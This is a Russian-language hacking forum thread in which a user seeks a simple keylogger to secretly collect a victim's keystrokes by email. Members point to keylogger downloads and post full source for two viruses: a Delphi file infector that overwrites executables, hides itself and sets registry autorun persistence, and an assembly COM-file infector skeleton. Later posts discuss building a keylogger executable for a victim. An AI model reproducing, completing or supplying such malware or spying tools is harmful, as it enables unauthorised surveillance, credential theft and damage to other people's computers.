клавиотурный шпион

Discussion in 'Уязвимости Mail-сервисов' started by blek, 1 May 2006.

  1. blek

    blek Banned

    Joined:
    7 Apr 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Здраствуйте! Прошу у вас простого клавиотурного шпиона. Я понимаю они есть и в пинче но мне нужен просто шпион без всяких наворотов. Качал некоторые трой но не уверен в их дееспособности
    Я в этих делах неочень шарю если можно инструкцию к нему Желательно бодробную что куда и как. Заранее благодарен
    ПС знаю есть много тем про это извиняюсь если что не так Google Yandex Поверьте мне использовал хлама море нужная инфа есть но ссылку на закачку все не рабочие
     
  2. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    на асме устроит? 120 строчек :) даже в 60 укладывается :)
     
  3. blek

    blek Banned

    Joined:
    7 Apr 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Лиш бы работало !! (
     
  4. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    в книжке по асму пример!
    только такой шпион пропалить просто.... :(
     
  5. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    Talisman а у меня в шкафу на третей полке снизу, для тебя 300$ лежит, устроит? Без ключа можешь взять.

    2blek поищи в интернете QuickKeyspy. Очень простой и приятный в обращении, никаких наворотов, но всё наглядно.
     
    _________________________
    1 person likes this.
  6. Tikson

    Tikson Elder - Старейшина

    Joined:
    9 Oct 2005
    Messages:
    263
    Likes Received:
    42
    Reputations:
    14
    NaX[no]r†
    если шкаф открыт , то он конечно везьмет =))
    blek тебе сюда _http://www.ozon.ru/context/detail/id/2446421/?partner=1849
    в книге приведены примеры вирусов
     
  7. blek

    blek Banned

    Joined:
    7 Apr 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Я конечно благодарен но можете дать ссылку
     
  8. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Я не понял - чем плох шпион в пинче? Какие в нем навороты? Кроме того, что логи по разным файлам в зависимости от id окна разбрасывает? Ну хочешь, еще немного упрощу и на Си выложу?
     
  9. blek

    blek Banned

    Joined:
    7 Apr 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    У меня с пинчем траблы пробовал разные версий Если кто может настроить на майл [email protected] все остальные функций не нужны где то с перерывом ну скоко там поставить можно ну 2часа пойдет
    кол во цифр чем больше тем лучше.
    Просто я незнаю что указывать в смт сервер ) )
    Я читал на форумах про него и тп но мне всеравно не приходят письмя он был точно открыт жертвой.

    Да и еще вопрос можно ли после его какнить отключить чтоб мыло не захломлял
     
  10. KoTeG

    KoTeG Banned

    Joined:
    29 Apr 2006
    Messages:
    198
    Likes Received:
    165
    Reputations:
    2
    Не тупи парень! :)
     
  11. blek

    blek Banned

    Joined:
    7 Apr 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Ну что делать если немного туплю
    Кот я тут о помощи прошу (а не такого рода коментарий которые я кстати ненавижу!!!!!! Я бы их щетал за флууд)
     
  12. Tikson

    Tikson Elder - Старейшина

    Joined:
    9 Oct 2005
    Messages:
    263
    Likes Received:
    42
    Reputations:
    14
    пример вируса на делфи

    пример вируса на делфи


    Code:
    
    {
    BLACK MAMMONTH VIRUS,
    ОБУЧАЮЩАЯ ВЕРСИЯ.
    MADE IN USSR,
    Dr.Klouniz
    
    КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
    1.Создаем каталог c:\inf
    2.Компилируем вирус (Project--> Build)
    3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
    измени константу и перекомпилиру }
    4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
    }
    
    {$I-} //Игнорировать I/O ошибки
    {$D-} //Не вводить в код отладочную информацию
    
    program VirDebug;
    uses sysutils, //Заголовочные файлы
      windows,
      registry, //Работа с системным реестром
      classes,
      inifiles; //Работа с INI-файлами
    const
      VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
      //размер с указанным здесь, при необходимости измените и перекомпилируйте
    var
      zertva, virus: TFileStream; //Мы и жертва
      //буфера для чтения записи довеска и вируса
      vir, dovesok: array[1..VirLen] of Char;
      result: integer; //результат FindFirst'а
      client, sr: TSearchRec;
      //Массив имени файла
      Name: array[1..8] of string;
      //Массив расширения файла
      Ext: array[1..3] of string;
      //Наш INI-каталог; вирус- полноценная прога под WindoZ!
      Info: TINIFILE;
      NewName, pr, par, FromF: string; //Разные строчки
      //Дата как метка зараженности
      Birth: TDateTime;
      kill, slay, winvir, NewProga: file; //файлы
      //Индикатор зараженности (TRUE/FALSE)
      infected: boolean;
      //Текстовый файл-визитка; свидетельствует о том, что это не первый
      //старт виря на данном компьютере
      check: textfile;
      si: Tstartupinfo;
      p: Tprocessinformation;
      reg: TRegistry;
      // Функция- копировалка
    
    function WindowsCopyFile(FromFile, ToDir: string): boolean;
    var
      F: TShFileOpStruct;
    begin
      F.Wnd := 0;
      F.wFunc := FO_COPY;
      FromFile := FromFile + #0;
      F.pFrom := pchar(FromFile);
      ToDir := ToDir + #0;
      F.pTo := pchar(ToDir);
      F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
      result := ShFileOperation(F) = 0;
    end;
    
    procedure INFECTFILES; //Процедура-инфектор
    begin
      //Находим исполн. файл в каталоге c:\inf\
      result := FindFirst('c:\INF\*.exe', faAnyFile, client);
      while Result = 0 do //Если нашли, то...
      begin
        //Проверка на вшивость
        Infected := false;
        //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
        if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
          '09.08.83 06:00:00' then
          infected := true;
        //Проверено!
        //если мы нашли не сами себя и не зараженный файл, то...
        if (client.name <> sr.name) and (infected = false) and
          (client.name <> 'mammonth.exe') then
          . //Сочиним новое имя для нашей жертвы;
        begin
          Name[1] := inttostr(random(10));
          Name[2] := inttostr(random(10));
          Name[3] := inttostr(random(10));
          Name[4] := inttostr(random(10));
          Name[5] := inttostr(random(10));
          Name[6] := inttostr(random(10));
          Name[7] := inttostr(random(10));
          Name[8] := inttostr(random(10));
          Ext[1] := inttostr(random(10));
          Ext[2] := inttostr(random(10));
          Ext[3] := inttostr(random(10));
          NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
            name[7] +
            name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
          //Свяжемся с нашей жертвой
          AssignFile(Kill, 'c:\INF\' + client.name);
          //Отправим ее в загон для всех таких же, с уникальным именем
          ReName(Kill, 'c:\INF\files\' + NewName);
          //Фиксируем новое имя в нашем каталоге
          Info := TIniFile.create('c:\inf\filelist.ini');
          with info do
          begin
            //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
            WriteString('FILELIST', client.name, NewName);
            free;
          end;
          //А теперь заразим страшным ВИРУСОМ наш файл!
          //Открываем на чтение наш семенной фонд :)
          ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
          Virus.Read(vir, VirLen);
          //Читаем вирус полностью (константу VirLen помнишь?)
        //Если клиент поболее нас, но не более чем вдвое,
          if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
            //то сравняем размеры
          begin
            Virus.Position := 1; //Рамка считывания- сначала
            Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
          end;
          //перепишем жертву по- нашему
          zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
          zertva.Write(vir, virlen); //Запишем себя в жертву
          if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
            zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
          Birth := StrToDateTime('09.08.83 06:00:00');
          //поставим жертве индикатор зараженности
          FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
          Zertva.FREE; //Отпускаем жертву!
          Virus.FREE;
        end;
        Result := FindNEXT(Client); //Ищем следуюущий екзешник
      end;
    end;
    
    procedure REGISTRATION;
    begin
      //первый раз, в первый класс!
      MkDir('c:\inf\files'); //Создадим загон для жертв
      AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
      ReWrite(check);
      WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
      CloseFile(check); //Сделано!
      par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
      WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
      AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
      ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
      Reg := TRegistry.Create;
      //И пусть этот маммонт запускается каждый раз!
      FileSetAttr('c:\inf\mammonth.exe', faHidden);
      with Reg do
      begin
        if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
        begin
          WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
          CloseKey;
        end;
      end;
      //Все. Мы в реестре.
      //Халтим вирус с правдоподобным сообщением-
      //сюда можно вписать процедуру вызова StackOverflow
    end;
    //Процедура исполнения оригинальной проги
    
    procedure EXECPROGRAM
    begin
      Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
      FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
      //Вытащим из загона нужный файл
      WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
      AssignFile(NewProga, 'c:\inf\' + FromF);
      ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
      PR := 'c:\inf\' + '_' + Sr.Name;
      Info.Free;
      //Создали, теперь заКапустим его!!!
      FillChar(Si, SizeOf(Si), 0);
      with Si do
      begin
        cb := SizeOf(Si);
        dwFlags := startf_UseShowWindow;
        wShowWindow := 4;
      end;
      //Application.Minimize;
      Pr := Pr + #0;
      Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
        nil, si, p);
      Waitforsingleobject(p.hProcess, infinite);
      //Application.Restore;
      //Все, отпахала юзерская прога- потрем ее на хрен!
      AssignFile(slay, pr);
      Erase(slay);
    end.
    
    {
    КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
    }
    
    begin
      //узнаем имя файла, откуда стартовали
      FindFirst(ParamStr(0), faAnyFile, sr);
      //А вдруг первый раз на этом компе???
      AssignFile(check, 'c:\inf\present.dat');
      Reset(check);
      if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
      begin
        REGISTRATION;
        INFECTFILES;
        HaLt;
      end;
      if sr.name = 'mammonth.exe' then
      begin
        //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
        //INFECTFILES;
        HALT;
      end;
      INFECTFILES;
      EXECPROGRAM;
      {++++END OF THE WORLD NEAR++++}
    end.
    
    
    
     
  13. Tikson

    Tikson Elder - Старейшина

    Joined:
    9 Oct 2005
    Messages:
    263
    Likes Received:
    42
    Reputations:
    14
    кому нужно могу привести пример вируса на ассемблере
    нужно?
     
  14. Mukis

    Mukis Elder - Старейшина

    Joined:
    27 Nov 2005
    Messages:
    47
    Likes Received:
    25
    Reputations:
    0
    _http://xroot.hut1.ru/downloads.php?cat_id=6 ИМХО без наворотов)
     
  15. Tikson

    Tikson Elder - Старейшина

    Joined:
    9 Oct 2005
    Messages:
    263
    Likes Received:
    42
    Reputations:
    14
    пример вируса на асме
    Code:
    .286
    cseg SEGMENT
    assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
    org 100h
    
    Begin:
           jmp Init ; преходим на процедуру инициализации 
    
    ;Это будут строки, указывающие то, что программа уже заражена
    ;Обратите внимание, что мы данным строкам вообще не задаем никакого имени.
    ;Так можно делать!
      db 77h, 88h, 99h
    
    ;       === Процедуры работы с файлами ===
    
    ; --- Открытие файла для записи ---
    ; Вход:  DX - путь к файлу в ASCIIZ
    ; Выход: Handle, BX - номер файла
    Open_file proc
         mov ax,3D02h ;открываем файл для чтения/записи
         mov dx,1Eh   ;DX указывает на имя найденного файла в DTA
         int 21h
         mov Handle,ax ;сохраняем номер файла
         mov bx,ax
         ret
    
    Handle dw 0FFFFh ;переменная для хранения номера файла (по умолчанию 0FFFFh)
    Open_file endp
    
    ; --- Закрытие файла ---
    ; Вход:  Handle - номер открытого файла
    ; Выход: ничего
    Close_file proc
         cmp Handle,0FFFFh ;нет открытых файлов?
         je No_close       ;тогда выходим (закрывать нечего!) 
    
         mov bx,Handle     ;закрываем файл...
         mov ah,3Eh
         int 21h
    
    No_close:
       ret
    Close_file endp
    
    ; --- Поиск первого файла ---
    Find_first proc
          mov ah,4Eh ;ищем первый файл по маске (Mask_file)
          xor cx,cx  ;атрибуты обычные (CX=0)
          mov dx,offset Mask_file ;адрес маски в DS:DX
          int 21h    ;теперь (если нашли файл *.com в текущем каталоге) имя файла
                     ;находится по адресу 0BF00:001Eh, т.е. по смещению 30...
       ret
    Mask_file db '*.com',0 ;маска для поиска (только COM-файлы)
    Find_first endp
    
    ; --- Поиск следующих файлов ---
    Find_next proc
          xor dx,dx ;DS:DX указывают на DTA
          xor cx,cx ;Атрибуты обычные
          mov ah,4Fh
          int 21h ;Теперь в DTA находится информация о следующем найденном файле
       ret
    Find_next endp
    
    ; --- Заражение файла ---
    Infect_file proc
          clc
    
       ret
    Infect_file endp
    
    
    
    ; === Процедура инициализации вируса ===
    Init:
           call Get_IP ;Получим смещение, где мы сейчас находимся
    Get_IP:
           pop ax      ;Теперь в AX - смещение
           sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
                                ;находиться в сегменте 0BF00h
                                ;Получим размер файла-"жертвы", если его нет,
                                ;то AX будет равен 0
    
           push 0BF00h
           pop es       ;ES - сегмент, куда будем перемещать код вируса,
    
           mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры )
           mov si,di
           add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы
                     ;пока еще в сегменте "файла-жертвы"...
    
           mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах
           rep movsb  ;Теперь в памяти две копии нашего вируса
    
    ;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
           mov bx,offset Lab_return
           add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
           push cs   ;команды retf
           push bx
    
    ;Занесем в стек адрес для перехода в нашу копию:
    ;  * сегмент - 0BF00h
    ;  * смещение - Lab_jmp
           mov bx,offset Lab_jmp ;Аналогично вышесказанному...
           add bx,ax
           push 0BF00h
           push bx
    
    ;ВНИМАНИЕ!
    ;В стеке находится адрес следующей метки, только расположенной в другом
    ;сегменте, а именно: 0BF00h.
    ;По этому адресу находится метка Lab_jmp (см. следующую строку ).
    
    ;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h,
    ;используя оператор retf, который вытащит из стека указанный выше сегмент и
    ;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него.
           retf
    
    
    ; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на
    ; метку Lab_return, но в сегмент программы-"жертвы"
    Lab_jmp:
           ;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь
           ;равен 0BF00h.
    
           push cs ;настроим регистр DS
           pop ds
    
           mov ah,1Ah ;установим DTA для поиска файлов
           xor dx,dx  ;он устанавливается на тот адрес, который содержится
           int 21h    ;в регистрах DS:DX. В отладчике посмотрите,
                      ;что находится в памяти, на которую указывают данные
                      ;регистры, т.е. DS:DX...
    
           call Find_first ;ищем первый файл
           jc Nomore_files ;нет COM-файлов - на выход 
    
    Inf_file:
           call Infect_file ;нашли - пробуем заразить
           jnc Nomore_files ;удалось заразить - выходим 
    
           call Find_next ;не удалось заразить - ищем следующий
           jnc Inf_file   ;нашли еще один COM-файл; пробуем заразить... 
    
    
    ;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве";
    ;нужно восстановить его первые шесть байт, которые храняться в переменной
    ;First_bytes 
    Nomore_files:
          mov si,offset First_bytes ;DS:SI - на массив из шести слов
          mov di,100h ;ES:DI - куда пермещать строку (шесть байт)
          push ss  ;SS содержит сегмент файла-"жертвы", который нужно загрузить
          pop es   ;в ES
          mov cx,6 ;6 байт перемещаем: DS:SI = ES:DI
          rep movsb
    
    ;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт).
    ;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы
    ;были изначально. Как?
    ;Вспомните, что в стеке хранится смещение и сегмент для возврата:
    
    ;mov bx,offset Lab_return
    ;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
    ;push cs   ;комады retf
    ;push bx
    
    ;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX)
    ;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус!
           retf
    
    
    ;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей
    ;строки командой retf)... 
    Lab_return:
           push cs ;восстановим DS (ES уже в порядке!)
           pop ds
    
           mov ah,1Ah ;восстановим DTA
           mov dx,80h
           int 21h
    
           mov ax,100h ;Передаем управление "файлу-жертве" вот таким странным
           jmp ax      ;способом. Т.е. jmp 100h
    
    
    ; === Данные ===
    ;Здесь (First_bytes) хранятся первые байты "файла-жертвы".
    ;Если это первый запуск вируса, то по умолчанию получим:
    ;nop (90h)
    ;nop (90h)
    ;nop (90h)
    ;nop (90h)
    ;int 20h (0CDh, 20h)
    ;Итого: 6 байт
    ; первые три байта - jmp на код вируса, который мы искусственно добавим
    ;                    при заражении какой-нибудь программы.
    ; вторые три байта - метка того, что файл уже заражен нашим вирусом
    ;                    У нас будет: 77h, 88h, 99h
    First_bytes db 4 dup (90h), 0CDh, 20h
    
    Finish equ $ ;метка конца программы-вируса
    
    CSEG ends
    end Begin
    
     
  16. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    а может ктонить такой пример на С++ привести, т.к ни асемблера ни делфи незнаю))
     
  17. Vlad1

    Vlad1 New Member

    Joined:
    5 May 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Вопрос, как жертва может избавиться от клавиатурного шпиона? из какой директории его надо удалить, чтобы он перестал функционировать
     
  18. Vlad1

    Vlad1 New Member

    Joined:
    5 May 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    ты сам то им пользовался?
     
  19. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
     
  20. Vlad1

    Vlad1 New Member

    Joined:
    5 May 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Скачал эту программку. Запускаешь exe'шник там такая штука "Saisir le code de decryptage". Я так понял надо ввести xroot и нажать "decrypter le fichier". Вот здесь начинается самое интересное, у меня выскакивает новый exe-файл(причем независимо от того, правильный или неправильный пороль) , я так понял, тот, который нужно запустить жертве. И никого текстового файла с настройками не выскакавает. Помогите плиз....